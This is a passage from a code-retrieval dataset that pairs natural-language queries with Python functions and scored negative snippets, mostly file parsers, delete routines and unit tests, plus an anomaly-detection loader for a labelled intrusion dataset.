pass\",\n \"def del_car(matricula):\\n global max\\n con = lite.connect('parking.db')\\n cur = con.cursor()\\n if(_formatMatriculaValid(matricula)):\\n try:\\n cur.execute(\\\"DELETE FROM cotxes WHERE id_cotxe=?\\\",(matricula,))\\n cur.execute(\\\"DELETE FROM parking WHERE id_cotxe=?\\\",(matricula,))\\n con.commit()\\n max +=1\\n except lite.IntegrityError:\\n print \\\"Error.lelele\\\"\\n else:\\n print(\\\"Format matricula invalid.\\\")\\n con.close()\",\n \"def post_bgp_router_delete(self, resource_id, resource_dict):\\n pass\",\n \"def test_remove(self):\\n solution = pk.Solution()\\n model = pk.Model('iv')\\n protocol = pk.Protocol()\\n model2 = pk.Model('sc')\\n protocol2 = pk.Protocol(initial_dose=1.1, time_span=1.2)\\n with self.assertRaises(TypeError):\\n solution.remove()\\n with self.assertRaises(TypeError):\\n solution.remove('model')\\n with self.assertRaises(IndexError):\\n solution.remove(1)\\n solution.add(model, protocol)\\n self.assertEqual(solution.list_compartments, [(model, protocol)])\\n solution.remove(0)\\n self.assertEqual(solution.list_compartments, [])\\n solution.add(model, protocol)\\n solution.add(model2, protocol2)\\n self.assertEqual(solution.list_compartments,\\n [(model, protocol), (model2, protocol2)])\\n solution.remove(1)\\n self.assertEqual(solution.list_compartments, [(model, protocol)])\\n solution.remove(0)\\n self.assertEqual(solution.list_compartments, [])\\n with self.assertRaises(IndexError):\\n solution.remove(0)\",\n \"def __delete__(self, instance):\\n self._lib_vscf_ecc.vscf_ecc_delete(self.ctx)\",\n \"def delete(self):\\n\\n del self.parent_mirror_dir[self.cvs_path]\",\n \"def test_remove_component_invalid():\\n\\n with pytest.raises(ComponentAttributeError):\\n application_services.get_component('missing_component_to_remove')\",\n \"def delete_machine(args):\\n session = Session()\\n # the following is used to help with code completion\\n \\\"\\\"\\\"session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).delete()\\n session.commit()\\\"\\\"\\\"\\n machine = session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).first()\\n if machine is not None:\\n print \\\"Deleting machine with hostname: \\\" + machine.hostname + \\\" and with id: \\\" + str(machine.id)\\n session.query(PoolMachine).filter(PoolMachine.hostname==args.hostname).delete()\\n session.commit()\\n else:\\n print \\\"No machine was found!\\\"\",\n \"def on_delete_clicked(self,button):\\n\\t\\tself.list_partitions.delete_selected_partition()\",\n \"def delete_bgp_peer(virtualInterfaceId=None, asn=None, customerAddress=None):\\n pass\",\n \"def delete_build(self, package, version):\\n with self._conn.begin():\\n self._conn.execute(\\n \\\"VALUES (delete_build(%s, %s))\\\", (package, version))\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.66529816","0.65597695","0.64037114","0.62848693","0.6156556","0.6069828","0.6047589","0.602334","0.5979555","0.59127647","0.590122","0.58975464","0.58932763","0.5750576","0.5735574","0.56635535","0.56628716","0.56628716","0.5650871","0.56496924","0.5638208","0.5623364","0.56073093","0.55589175","0.5527471","0.5497199","0.54898155","0.5465232","0.5463666","0.54529965","0.54521793","0.544872","0.54483056","0.5447326","0.5442505","0.5432297","0.54310834","0.5429314","0.5413906","0.54136205","0.5390761","0.53890526","0.53846025","0.5375685","0.5367831","0.5367765","0.53651166","0.5363296","0.5359909","0.5353254","0.53528786","0.53425974","0.53425974","0.53406173","0.53309196","0.5328677","0.53266704","0.53234744","0.53138655","0.5310116","0.5305172","0.52966565","0.528714","0.52854156","0.5282624","0.5267401","0.5265535","0.5263653","0.526267","0.52544963","0.524969","0.5249175","0.52420706","0.52410525","0.52410525","0.52410525","0.52410525","0.5234385","0.5228448","0.52222884","0.52194023","0.5219141","0.52147084","0.52100796","0.52067417","0.5206206","0.5197563","0.51910484","0.5187852","0.5177635","0.51716095","0.5169028","0.5166184","0.51601917","0.515299","0.5150024","0.5148052","0.5146484","0.51410985","0.513884"],"string":"[\n \"0.66529816\",\n \"0.65597695\",\n \"0.64037114\",\n \"0.62848693\",\n \"0.6156556\",\n \"0.6069828\",\n \"0.6047589\",\n \"0.602334\",\n \"0.5979555\",\n \"0.59127647\",\n \"0.590122\",\n \"0.58975464\",\n \"0.58932763\",\n \"0.5750576\",\n \"0.5735574\",\n \"0.56635535\",\n \"0.56628716\",\n \"0.56628716\",\n \"0.5650871\",\n \"0.56496924\",\n \"0.5638208\",\n \"0.5623364\",\n \"0.56073093\",\n \"0.55589175\",\n \"0.5527471\",\n \"0.5497199\",\n \"0.54898155\",\n \"0.5465232\",\n \"0.5463666\",\n \"0.54529965\",\n \"0.54521793\",\n \"0.544872\",\n \"0.54483056\",\n \"0.5447326\",\n \"0.5442505\",\n \"0.5432297\",\n \"0.54310834\",\n \"0.5429314\",\n \"0.5413906\",\n \"0.54136205\",\n \"0.5390761\",\n \"0.53890526\",\n \"0.53846025\",\n \"0.5375685\",\n \"0.5367831\",\n \"0.5367765\",\n \"0.53651166\",\n \"0.5363296\",\n \"0.5359909\",\n \"0.5353254\",\n \"0.53528786\",\n \"0.53425974\",\n \"0.53425974\",\n \"0.53406173\",\n \"0.53309196\",\n \"0.5328677\",\n \"0.53266704\",\n \"0.53234744\",\n \"0.53138655\",\n \"0.5310116\",\n \"0.5305172\",\n \"0.52966565\",\n \"0.528714\",\n \"0.52854156\",\n \"0.5282624\",\n \"0.5267401\",\n \"0.5265535\",\n \"0.5263653\",\n \"0.526267\",\n \"0.52544963\",\n \"0.524969\",\n \"0.5249175\",\n \"0.52420706\",\n \"0.52410525\",\n \"0.52410525\",\n \"0.52410525\",\n \"0.52410525\",\n \"0.5234385\",\n \"0.5228448\",\n \"0.52222884\",\n \"0.52194023\",\n \"0.5219141\",\n \"0.52147084\",\n \"0.52100796\",\n \"0.52067417\",\n \"0.5206206\",\n \"0.5197563\",\n \"0.51910484\",\n \"0.5187852\",\n \"0.5177635\",\n \"0.51716095\",\n \"0.5169028\",\n \"0.5166184\",\n \"0.51601917\",\n \"0.515299\",\n \"0.5150024\",\n \"0.5148052\",\n \"0.5146484\",\n \"0.51410985\",\n \"0.513884\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.68637323"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80090,"cells":{"query":{"kind":"string","value":"Parses the source file for a give sample_type."},"document":{"kind":"string","value":"def _read_samples(self):\n\n logging.debug(\"Start file parsing.\")\n data = pd.read_csv(self._source_file, header=None)\n \n data = pd.read_csv(self._source_file, header=None)\n header = pd.read_csv(self._header_file, delimiter=':', skiprows=1, header=None)\n header.columns = ['column', 'column_type']\n\n data.columns = header.column.tolist() + ['attack']\n data['attack'] = data['attack'].str.replace('.', '')\n data['label'] = 1\n data.loc[data['attack'] == 'normal', 'label'] = 0\n\n symbolic_columns = header.loc[header.column_type == ' symbolic.'].column.tolist()\n # print(symbolic_columns)\n\n for scol in symbolic_columns:\n data[scol] = pd.Categorical(data[scol])\n one_hot_cols = pd.get_dummies(data[scol], prefix=scol)\n data = pd.concat([data, one_hot_cols], axis=1)\n\n data = data.drop(columns=symbolic_columns)\n data = data.drop(columns=['attack'])\n\n # data.loc[data.attack != 'normal' , ['attack', 'label']].head(20)\n\n data_normal = data.loc[data['label'] == 0]\n data_abnormal = data.loc[data['label'] == 1]\n\n data_normal_train = data_normal.sample(frac=0.7)\n data_normal_test = data_normal.loc[~data_normal.index.isin(data_normal_train.index)]\n\n data_normal_train = data_normal_train.drop(columns=['label']).values\n data_normal_test = data_normal_test.drop(columns=['label']).values\n data_abnormal = data_abnormal.drop(columns=['label']).values\n \n scaler = MinMaxScaler()\n _ = scaler.fit(data_normal_train)\n data_normal_train = scaler.transform(data_normal_train)\n data_normal_test = scaler.transform(data_normal_test)\n data_abnormal = scaler.transform(data_abnormal)\n \n logging.debug('Normal {}; Train {}; Test{}'.format(data_normal.shape, data_normal_train.shape, data_normal_test.shape))\n logging.debug('Abnormal {}'.format(data_abnormal.shape))\n\n samples = {}\n samples['NORMAL'] = data_normal_train\n samples['NORMAL_TEST'] = data_normal_test\n samples['ABNORMAL_TEST'] = data_abnormal\n\n logging.debug(\"End file parsing.\")\n\n return samples"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def parse_source_file(self, filepath):\n raise NotImplementedError('Not Implemented')","def parse(source, *, filename=\"[STRING]\", typecheck=True):\n return _Parser(filename, source, typecheck).parse()","def parse_file(self, source):\n # If this is a file-like object, we should be able to read it.\n try:\n raw_data = source.read()\n except AttributeError:\n # This raises FileNotFoundError if the file doesn't exist.\n with open(source) as source_obj:\n raw_data = source_obj.read()\n\n # Parse the data in string format.\n return self.parse_string(raw_data)","def from_file(cls, file, sample_type, sample_location, sample_set, person,\n projects=None, sep='\\t'):\n # check if we are given barcodes or not and set accordingly\n barcodes = False\n barcode_pos = 1\n header = file.readline().strip().split(sep)\n if len(header) > 1 and 'barcode'in header:\n barcodes = True\n barcode_pos = header.index('barcode')\n\n # This just wraps create for each sample so we get all the checks\n # from create but can add multiple samples at a time\n count = 0\n for line in file:\n line = line.strip()\n info = line.split(sep) if barcodes else [line, None]\n cls.create(info[0], sample_type, sample_location, sample_set,\n person, projects=None, barcode=info[barcode_pos])\n count += 1\n return count","def _parse_file(self, file_obj, sample_id, data_type) -> pd.Series:\n sample_data = pd.read_csv(file_obj, sep=\"\\t\", low_memory=False)\n\n # Filter mutations if specified\n if self.geneset:\n out = sample_data.loc[sample_data[\"Gene_Name\"].isin(self.geneset)]\n if out.empty:\n out = sample_data.loc[sample_data[\"Feature_ID\"].isin(self.geneset)]\n\n sample_data = out\n\n # Construct index\n sample_data[\"index\"] = sample_data.apply(\n self._construct_index, axis=1, result_type=\"reduce\"\n )\n sample_data.set_index(\"index\", inplace=True)\n sample_data.index.name = None\n\n if data_type == self.VARIANTS:\n s = sample_data.apply(self._encode_mutation, axis=1, result_type=\"reduce\")\n elif data_type == self.DEPTH:\n # Depth, as computed by GATK is reported by \"DP\" column\n s = sample_data[\"Total_depth\"]\n elif data_type == self.DEPTH_A:\n s = sample_data[\"Base_A\"]\n elif data_type == self.DEPTH_C:\n s = sample_data[\"Base_C\"]\n elif data_type == self.DEPTH_G:\n s = sample_data[\"Base_G\"]\n elif data_type == self.DEPTH_T:\n s = sample_data[\"Base_T\"]\n elif data_type == self.FILTER:\n s = sample_data[\"FILTER\"]\n\n s.name = sample_id\n\n # Sometimes mutations_table.tsv to contains duplicate variants\n # For now, keep the first one and drop the rest of them.\n s = s[~s.index.duplicated(keep=\"first\")]\n\n return s","def parse_file(self):\n # the header was already read in the init, start at the first sample line\n\n for line in self._stream_handle:\n\n # create the dictionary of key/value pairs composed of the labels and the values from the\n # record being parsed\n # ex: data_dict = {'sci_bsipar_temp':10.67, n1, n2, nn}\n data_dict = self._read_data(line)\n\n if GliderParser._has_science_data(data_dict, self._particle_class):\n # create the timestamp\n timestamp = ntplib.system_to_ntp_time(float(data_dict[GliderParticleKey.M_PRESENT_TIME]))\n # create the particle\n self._record_buffer.append(self._extract_sample(\n self._particle_class, None, data_dict, internal_timestamp=timestamp))","def _get_source(self, tipo):\n\n if self._match_array(tipo, self.c_array_types):\n tipo = tipo.strip()[:-4]\n db = Database()\n query = \"SELECT type_source FROM types WHERE type_name = '\" + tipo + \"' ORDER BY type_id\"\n self.source_file = list(db.execute_query(query))\n if self.source_file: # Validacion por si la query no encontro valores\n self.source_file = self.source_file[0][0]\n db.close_connection()","def _parse_source_model_file(source_model_file):\n parse_args = dict(source=source_model_file)\n\n srcs = []\n for _, element in etree.iterparse(**parse_args):\n if element.tag == NRML04_POINT_SOURCE.text:\n srcs.append(_parse_point_source(element))\n if element.tag == NRML04_AREA_SOURCE.text:\n srcs.append(_parse_area_source(element))\n\n return srcs","def parse_file(self):\n # read the first line in the file\n line = self._stream_handle.readline()\n\n while line:\n # check for a data line or a dcl logger line we specifically ignore\n data_match = DATA_LINE_MATCHER.match(line)\n ignore_match = IGNORE_LINE_MATCHER.match(line)\n\n if data_match:\n # found a data line, extract this particle\n # DCL controller timestamp is the port_timestamp\n dcl_controller_timestamp = data_match.groups()[DCL_TIMESTAMP_GROUP]\n port_timestamp = dcl_time_to_ntp(dcl_controller_timestamp)\n\n particle = self._extract_sample(self.particle_class,\n None,\n data_match,\n port_timestamp=port_timestamp,\n preferred_ts=DataParticleKey.PORT_TIMESTAMP)\n\n self._record_buffer.append(particle)\n\n elif not ignore_match:\n # we found a line with an unknown format, call an exception\n error_message = 'Found line with unknown format %s' % line\n log.warn(error_message)\n self._exception_callback(SampleException(error_message))\n\n # read the next line\n line = self._stream_handle.readline()","def get_source_type(import_file, source_type=''):\n\n # TODO: move source_type to a database lookup. Right now it is hard coded\n source_type_str = getattr(import_file, 'source_type', '') or ''\n source_type_str = source_type or source_type_str\n source_type_str = source_type_str.upper().replace(' ', '_')\n\n return getattr(models, source_type_str, ASSESSED_RAW)","def _extract_sample(self, line, publish=True):\n sample = None\n match = self._sample_regex.match(line)\n if match:\n sample = {}\n sample['t'] = [float(match.group(1))]\n sample['c'] = [float(match.group(2))]\n sample['p'] = [float(match.group(3))]\n\n # Driver timestamp.\n sample['time'] = [time.time()]\n sample['stream_name'] = 'ctd_parsed'\n\n if self._driver_event:\n self._driver_event(DriverAsyncEvent.SAMPLE, sample)\n\n return sample","def _parse(self, infile):\n raise NotImplementedError()","def _parse_source(self, src, python_version):\n f = moves.StringIO(src)\n defs_start = None\n open_type_comment_set = _TypeCommentSet.start(1)\n open_decorator = False\n last_function_definition = None\n open_variable_annotation = None\n for token in tokenize.generate_tokens(f.readline):\n tok = token.exact_type\n line = token.line\n lineno, col = token.start\n\n # Check for the first line with a top-level class or function definition.\n if defs_start is None and _CLASS_OR_FUNC_RE.match(line):\n defs_start = lineno\n\n # Process the token for decorators, function definitions, and comments.\n if tok == tokenize.AT:\n if _DECORATOR_RE.match(line):\n open_decorator = True\n elif tok == tokenize.NAME:\n if open_decorator and token.string in (\"class\", \"def\"):\n self.decorators.add(lineno)\n open_decorator = False\n if token.string == \"def\":\n last_function_definition = _FunctionDefinition.start(lineno)\n elif tok == tokenize.COMMENT:\n self._process_comment(line, lineno, col, open_type_comment_set)\n elif tok == tokenize.LPAR:\n if last_function_definition:\n last_function_definition.add_lpar(lineno)\n elif tok == tokenize.RPAR:\n if last_function_definition:\n last_function_definition.add_rpar(lineno)\n elif tok in (tokenize.NEWLINE, tokenize.ENDMARKER):\n if open_type_comment_set.type_comments:\n open_type_comment_set.end_line = lineno\n self._type_comments.append(open_type_comment_set)\n open_type_comment_set = _TypeCommentSet.start(lineno + 1)\n\n # Process the token for variable annotations.\n if last_function_definition and last_function_definition.contains(lineno):\n pass # ignore function annotations\n elif not open_variable_annotation:\n open_variable_annotation = _VariableAnnotation.start(lineno, token)\n elif tok in (tokenize.NEWLINE, tokenize.SEMI):\n # NEWLINE indicates the end of a *logical* line of Python code, allowing\n # us to handle annotations split over multiple lines.\n annotation = open_variable_annotation.annotation\n if annotation and open_variable_annotation.closed:\n # In 3.8+, the STORE_* opcode for a multiline variable assignment is\n # at the first line in the assignment; before that, it is at the last.\n if python_version >= (3, 8):\n assert open_variable_annotation.start_lineno\n annotation_lineno = open_variable_annotation.start_lineno\n else:\n annotation_lineno = lineno\n self._variable_annotations[annotation_lineno] = annotation\n open_variable_annotation = None\n else:\n open_variable_annotation.add_token(lineno, token)\n\n # Record docstrings.\n if _DOCSTRING_RE.match(line):\n self._docstrings.add(lineno)\n\n if defs_start is not None:\n disables = list(self._disables.items())\n # Add \"# type: ignore\" to the list of disables that we check.\n disables.append((\"Type checking\", self._ignore))\n for name, lineset in disables:\n lineno = lineset.get_disable_after(defs_start)\n if lineno is not None:\n self._errorlog.late_directive(self._filename, lineno, name)","def parse(self, infile):\r\n raise NotImplementedError()","def parse(self):\n\n coverage_data = {\n 'packages': {},\n 'summary': {'lines-total': 0, 'lines-covered': 0,\n 'branches-total': 0, 'branches-covered': 0},\n 'timestamp': str(int(time.time()))\n }\n package = None\n current_file = None\n file_lines_total = 0\n file_lines_covered = 0\n file_lines = {}\n file_methods = {}\n file_branches_total = 0\n file_branches_covered = 0\n\n for line in self.lcov_data.split('\\n'):\n if line.strip() == 'end_of_record':\n if current_file is not None:\n package_dict = coverage_data['packages'][package]\n package_dict['lines-total'] += file_lines_total\n package_dict['lines-covered'] += file_lines_covered\n package_dict['branches-total'] += file_branches_total\n package_dict['branches-covered'] += file_branches_covered\n file_dict = package_dict['classes'][current_file]\n file_dict['lines-total'] = file_lines_total\n file_dict['lines-covered'] = file_lines_covered\n file_dict['lines'] = dict(file_lines)\n file_dict['methods'] = dict(file_methods)\n file_dict['branches-total'] = file_branches_total\n file_dict['branches-covered'] = file_branches_covered\n coverage_data['summary']['lines-total'] += file_lines_total\n coverage_data['summary']['lines-covered'] += file_lines_covered\n coverage_data['summary']['branches-total'] += file_branches_total\n coverage_data['summary']['branches-covered'] += file_branches_covered\n\n line_parts = line.split(':')\n input_type = line_parts[0]\n\n if input_type == 'SF':\n # Get file name\n file_name = line_parts[-1].strip()\n relative_file_name = os.path.relpath(file_name, self.base_dir)\n package = '.'.join(relative_file_name.split(os.path.sep)[0:-1])\n class_name = file_name.split(os.path.sep)[-1]\n if package not in coverage_data['packages']:\n coverage_data['packages'][package] = {\n 'classes': {}, 'lines-total': 0, 'lines-covered': 0,\n 'branches-total': 0, 'branches-covered': 0\n }\n coverage_data['packages'][package]['classes'][\n relative_file_name] = {\n 'name': class_name, 'lines': {}, 'lines-total': 0,\n 'lines-covered': 0, 'branches-total': 0,\n 'branches-covered': 0\n }\n package = package\n current_file = relative_file_name\n file_lines_total = 0\n file_lines_covered = 0\n file_lines.clear()\n file_methods.clear()\n file_branches_total = 0\n file_branches_covered = 0\n elif input_type == 'DA':\n # DA:2,0\n (line_number, line_hits) = line_parts[-1].strip().split(',')\n line_number = int(line_number)\n if line_number not in file_lines:\n file_lines[line_number] = {\n 'branch': 'false', 'branches-total': 0,\n 'branches-covered': 0\n }\n file_lines[line_number]['hits'] = line_hits\n # Increment lines total/covered for class and package\n if int(line_hits) > 0:\n file_lines_covered += 1\n file_lines_total += 1\n elif input_type == 'BRDA':\n # BRDA:1,1,2,0\n (line_number, block_number, branch_number, branch_hits) = line_parts[-1].strip().split(',')\n line_number = int(line_number)\n if line_number not in file_lines:\n file_lines[line_number] = {\n 'branch': 'true', 'branches-total': 0,\n 'branches-covered': 0, 'hits': 0\n }\n file_lines[line_number]['branch'] = 'true'\n file_lines[line_number]['branches-total'] += 1\n file_branches_total += 1\n if branch_hits != '-' and int(branch_hits) > 0:\n file_lines[line_number]['branches-covered'] += 1\n file_branches_covered += 1\n elif input_type == 'BRF':\n file_branches_total = int(line_parts[1])\n elif input_type == 'BRH':\n file_branches_covered = int(line_parts[1])\n elif input_type == 'FN':\n # FN:5,(anonymous_1)\n function_name = line_parts[-1].strip().split(',')[1]\n function_name = self.demangle_function_name(function_name)\n file_methods[function_name] = '0'\n elif input_type == 'FNDA':\n # FNDA:0,(anonymous_1)\n (function_hits, function_name) = line_parts[-1].strip().split(',')\n function_name = self.demangle_function_name(function_name)\n file_methods[function_name] = function_hits\n\n # Exclude packages\n excluded = [x for x in coverage_data['packages'] for e in self.excludes\n if re.match(e, x)]\n for package in excluded:\n del coverage_data['packages'][package]\n\n # Compute line coverage rates\n for package_data in list(coverage_data['packages'].values()):\n package_data['line-rate'] = self._percent(\n package_data['lines-total'],\n package_data['lines-covered'])\n package_data['branch-rate'] = self._percent(\n package_data['branches-total'],\n package_data['branches-covered'])\n\n return coverage_data","def _parse(self):\n\n self.specification = {}\n\n while True:\n try:\n line = self._lines.current\n if ':' in line:\n self.specification.update(self._parse_spec())\n elif line.startswith('TOUR_SECTION'):\n next(self._lines)\n self.tour = self._parse_tour()\n else:\n break\n except StopIteration:\n break\n\n del self._lines\n\n if 'TYPE' in self.specification and \\\n self.specification['TYPE'] != 'TOUR':\n raise TypeError('Unsupported TSPLib file type. Only TOUR type \\\n is supported')","def __parse_sample_name(self):\n pattern = '(.*)(P53)(XR|NT)(\\d+)([A-Z]?|Ctr)?.*'\n vals = re.findall(pattern, self.sample_name.replace('_', ''))[0]\n self.cell_type = vals[0]\n self.treatment_type = vals[2]\n self.treatment_time = vals[3]\n if vals[3]:\n self.treatment_repeat = vals[4]","def structure_parse(source):\r\n return structure_grammar().parseString(source)","def process_source(pk_type, path, file_flag, out_path, skip_lines=None, encoding=\"utf-8\"):\n if file_flag:\n process_singles(pk_type, path, out_path, skip_lines, encoding)\n else:\n process_dirs(pk_type, path, out_path, skip_lines, encoding)","def parse(self, file_path, type=None):\n\t\treturn [Motif()]","def _source_type(self):\n pass","def test_parse_file_source():\n from bs4 import BeautifulSoup\n from scraper import read_from_file, parse_source\n content, encoding = read_from_file(TEST_FILE)\n result = parse_source(content, encoding)\n assert isinstance(result, BeautifulSoup)","def __init__(self, file_pattern, validate=True, **nucleus_kwargs):\n\n super(ReadGenomicsFile, self).__init__()\n self._source = self._source_class(\n file_pattern, validate=validate, **nucleus_kwargs)","def _validate_source(self, tipo):\n\n self.source_type = True\n self._get_source(tipo)\n return self.source_type","def _parse_file_path(self, input_path):\n pass","def parse_seq_file(input_seq_file, seq_file_type):\n if seq_file_type not in SEQ_FILE_TYPES:\n msg = \"{} is not a supported input file type\".format(seq_file_type)\n raise UnsupportedFileException(msg)\n\n is_gzed = input_seq_file.endswith(EXPECTED_GZ_EXTENSION)\n\n # a different opening function will be called based on whether the file has a gz extension\n with OPENING_FUNCTIONS[is_gzed](input_seq_file) as input_fh:\n for record in SeqIO.parse(input_fh, seq_file_type):\n yield record.id, str(record.seq).upper()","def _load(self):\n op_type_file_path = os.path.join(\n self._profiling_dir,\n self._csv_file_to_analyse.format(self._device_id)\n )\n op_type_file_path = validate_and_normalize_path(\n op_type_file_path, raise_key=\"Invalid op_type_file_path\")\n if not os.path.isfile(op_type_file_path):\n log.warning('The file <%s> does not exist.', op_type_file_path)\n return\n\n with open(op_type_file_path, 'r') as file:\n csv_reader = csv.reader(file)\n _ = next(csv_reader)\n for info in csv_reader:\n self._data.append(self._convert_field_type(info))","def main():\n parse_file(sys.argv[1])","def get_extracted_sequence(self, data_type, sample):\n filename = sample[1]\n path = os.path.join(self.sequence_path, filename + '-' + str(self.seq_length) + \\\n '-' + data_type + '.npy')\n if os.path.isfile(path):\n return np.load(path)\n else:\n return None","def main():\n\targuments_sent = sys.argv\n\tif len(arguments_sent) > 1:\n\t\tfile_path = arguments_sent[1]\n\t\tprocess_based_on_type(file_path)","def read_file(path, source):\n if source == 'srim':\n return read_srim(path)\n elif source == 'astar':\n return read_astar(path)\n else:\n raise ValueError('Unknown data source {}'.format(source))","def readSources(self):\n for sourceCount, sourceElement in enumerate(self.root.findall(\".sources/source\")):\n # shall we just read the UFO here?\n filename = sourceElement.attrib.get('filename')\n # filename is a path relaive to the documentpath. resolve first.\n sourcePath = os.path.abspath(os.path.join(os.path.dirname(self.path), filename))\n sourceName = sourceElement.attrib.get('name')\n if sourceName is None:\n # if the source element has no name attribute\n # (some authoring tools do not need them)\n # then we should make a temporary one. We still need it for reference.\n sourceName = \"temp_master.%d\"%(sourceCount)\n self.reportProgress(\"prep\", 'load', sourcePath)\n if not os.path.exists(sourcePath):\n raise MutatorError(\"Source not found at %s\"%sourcePath)\n sourceObject = self._instantiateFont(sourcePath)\n # read the locations\n sourceLocationObject = None\n sourceLocationObject = self.locationFromElement(sourceElement)\n\n if sourceLocationObject is None:\n raise MutatorError(\"No location defined for source %s\"%sourceName)\n\n # read lib flag\n for libElement in sourceElement.findall('.lib'):\n if libElement.attrib.get('copy') == '1':\n self.libSource = sourceName\n\n # read the groups flag\n for groupsElement in sourceElement.findall('.groups'):\n if groupsElement.attrib.get('copy') == '1':\n self.groupsSource = sourceName\n\n # read the info flag\n for infoElement in sourceElement.findall(\".info\"):\n if infoElement.attrib.get('copy') == '1':\n self.infoSource = sourceName\n if infoElement.attrib.get('mute') == '1':\n self.muted['info'].append(sourceName)\n\n # read the features flag\n for featuresElement in sourceElement.findall(\".features\"):\n if featuresElement.attrib.get('copy') == '1':\n if self.featuresSource is not None:\n self.featuresSource = None\n else:\n self.featuresSource = sourceName\n\n mutedGlyphs = []\n for glyphElement in sourceElement.findall(\".glyph\"):\n glyphName = glyphElement.attrib.get('name')\n if glyphName is None:\n continue\n if glyphElement.attrib.get('mute') == '1':\n if not sourceName in self.muted['glyphs']:\n self.muted['glyphs'][sourceName] = []\n self.muted['glyphs'][sourceName].append(glyphName)\n\n for kerningElement in sourceElement.findall(\".kerning\"):\n if kerningElement.attrib.get('mute') == '1':\n self.muted['kerning'].append(sourceName)\n\n # store\n self.sources[sourceName] = sourceObject, sourceLocationObject\n self.reportProgress(\"prep\", 'done')","def _parse_file(cls, filepath):\n hdus = sunpy.io.read_file(filepath)\n return cls._parse_hdus(hdus)","def sample_type(self, sample_type: str):\n if sample_type is None:\n raise ValueError(\"Invalid value for `sample_type`, must not be `None`\")\n\n self._sample_type = sample_type","def sampleFile(self):\n result = []\n colCount = None\n rowCounter = 0\n\n with open(self.file) as f:\n reader = csv.reader(f, delimiter=self.delimiter,\n quotechar=self.quoteChar)\n for row in reader:\n rowCounter += 1\n\n if colCount is None:\n colCount = len(row)\n else:\n if colCount != len(row):\n raise Exception(\n \"Column count mismatch at row %d: (%d vs %d)\" %\n (rowCounter, colCount, len(row)))\n\n if rowCounter == 1 and self.hasHeader:\n self.columns = self.tidyColumns(row)\n if self.lowercaseHeader:\n self.columns = [x.lower() for x in self.columns]\n continue\n\n if self.sampleProbability is None or random.random() <= self.sampleProbability:\n result.append(row)\n\n self.fileSample = result\n self.types = [None] * colCount\n\n if not self.hasHeader and not self.columns:\n self.columns = [\"col\" + str(i) for i in list(range(colCount))]","def __init__(self, source):\n self.ntimepoints = None\n self.timepoints = None\n self.nsamples = None\n self.channelids = []\n self.data = []\n self.samplingrate = None\n\n # open textfiles\n if isinstance(source, str):\n if source.endswith('.gz'):\n externals.exists('gzip', raiseException=True)\n import gzip\n source = gzip.open(source, 'r')\n else:\n source = open(source, 'r')\n\n # read file\n for line in source:\n # split ID\n colon = line.find(':')\n\n # ignore lines without id\n if colon == -1:\n continue\n\n id = line[:colon]\n data = line[colon+1:].strip()\n if id == 'Sample Number':\n timepoints = N.fromstring(data, dtype=int, sep='\\t')\n # one more as it starts with zero\n self.ntimepoints = int(timepoints.max()) + 1\n self.nsamples = int(len(timepoints) / self.ntimepoints)\n elif id == 'Time':\n self.timepoints = N.fromstring(data,\n dtype=float,\n count=self.ntimepoints,\n sep='\\t')\n self.samplingrate = self.ntimepoints \\\n / (self.timepoints[-1] - self.timepoints[0])\n else:\n # load data\n self.data.append(\n N.fromstring(data, dtype=float, sep='\\t').reshape(\n self.nsamples, self.ntimepoints))\n # store id\n self.channelids.append(id)\n\n # reshape data from (channels x samples x timepoints) to\n # (samples x chanels x timepoints)\n self.data = N.swapaxes(N.array(self.data), 0, 1)","def loadHeaderSamplesFile(self, line):\n try:\n line.decode('ascii')\n except UnicodeDecodeError as err:\n raise\n tokens = line.rstrip(\"\\n\").split(\"\\t\")\n if len(tokens) < 12:\n msg = \"header should have at least 12 tab-separated columns\"\n raise ValueError(msg)\n for idx,tok in enumerate(tokens):\n if tok in self.samplesCol2idx:\n self.samplesCol2idx[tok] = idx\n for samplesCol,idx in self.samplesCol2idx.items():\n if idx is None:\n msg = \"column '%s' not found in samples file\" % samplesCol\n raise ValueError(msg)","def parse(source_code):\n tokens = tokenize(source_code)\n return read(tokens)","def parse_file(self):\n file_time = ''\n num_dir = 0\n num_freq = 0\n freq_w_band = 0.0\n freq_0 = 0.0\n start_dir = 0.0\n\n dspec_matrix = []\n\n # Extract the file time from the file name\n input_file_name = self._stream_handle.name\n\n match = FILE_NAME_MATCHER.match(input_file_name)\n\n if match:\n file_time = match.group(1)\n else:\n error_message = 'Unable to extract file time from DSpec input file name: %s '\\\n % input_file_name\n log.warn(error_message)\n self._exception_callback(RecoverableSampleException(error_message))\n\n # read the first line in the file\n line = self._stream_handle.readline()\n\n # loop over all lines in the data file\n while line:\n\n if EMPTY_LINE_MATCHER.match(line):\n # ignore blank lines, do nothing\n pass\n\n elif HEADER_MATCHER.match(line):\n\n # we need header records to extract useful information\n for matcher in HEADER_MATCHER_LIST:\n header_match = matcher.match(line)\n\n if header_match is not None:\n\n # Look for specific header lines and extract header fields\n if matcher is DIR_FREQ_MATCHER:\n num_dir = int(header_match.group(1))\n num_freq = int(header_match.group(2))\n\n elif matcher is FREQ_BAND_MATCHER:\n freq_w_band = header_match.group(1)\n freq_0 = header_match.group(2)\n\n elif matcher is START_DIR_MATCHER:\n start_dir = header_match.group(1)\n\n else:\n #ignore\n pass\n\n elif DSPEC_DATA_MATCHER.match(line):\n\n # Extract a row of the Directional Surface Spectrum matrix\n sensor_match = DSPEC_DATA_MATCHER.match(line)\n data = sensor_match.group(1)\n values = [int(x) for x in data.split()]\n\n num_values = len(values)\n\n # If the number of values in a line of data doesn't match num_dir,\n # Drop the record, throw a recoverable exception and continue parsing\n if num_values != num_dir:\n error_message = 'Unexpected Number of directions in line: expected %s, got %s'\\\n % (num_dir, num_values)\n log.warn(error_message)\n self._exception_callback(RecoverableSampleException(error_message))\n else:\n # Add the row to the dspec matrix\n dspec_matrix.append(values)\n\n else:\n # Generate a warning for unknown data\n error_message = 'Unexpected data found in line %s' % line\n log.warn(error_message)\n self._exception_callback(RecoverableSampleException(error_message))\n\n # read the next line in the file\n line = self._stream_handle.readline()\n\n # Check to see if the specified number of frequencies were retrieved from the data\n dspec_matrix_length = 